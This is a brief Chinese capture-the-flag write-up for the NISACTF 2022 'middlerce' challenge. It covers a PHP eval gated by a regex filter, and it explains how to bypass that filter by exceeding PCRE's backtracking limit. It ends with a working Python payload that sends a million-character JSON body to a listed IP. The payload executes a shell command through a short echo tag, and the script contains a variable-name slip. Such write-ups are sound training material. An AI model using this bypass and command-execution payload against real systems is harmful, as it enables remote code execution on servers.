题目源码
<?php include "check.php"; if (isset($_REQUEST['letter'])){ $txw4ever = $_REQUEST['letter']; if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){ die("再加把油喔"); } else{ $command = json_decode($txw4ever,true)['cmd']; checkdata($command); @eval($command); } } else{ highlight_file(__FILE__); } ?>
分析代码,可知
preg_match把基本的东西都过滤了
这题可以用PCRE绕过,就是正则表达式回溯的次数在php下有限,否则返回false
可以参考P神的文章PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
由于大多数被checkdata过滤了所以采用短标签来执行命令
<= phpinfo;?>等同与<?php echo phpinfo;?>
有与需要回溯1000000次,因此需要python来执行
最终payload为
import requests payload = '{"cmd":"?><?= `tail /f???`?>", "$":"'+"$"*(1000000) + '"}' res = requests.post("http://1.14.71.254:29743/",data = {"letter":payload}) print(qwe.text)
标签:__,PCRE,1000000,command,2022,回溯,NISACTF,payload,middlerce From: https://www.cnblogs.com/liudaxiaxd/p/16891056.html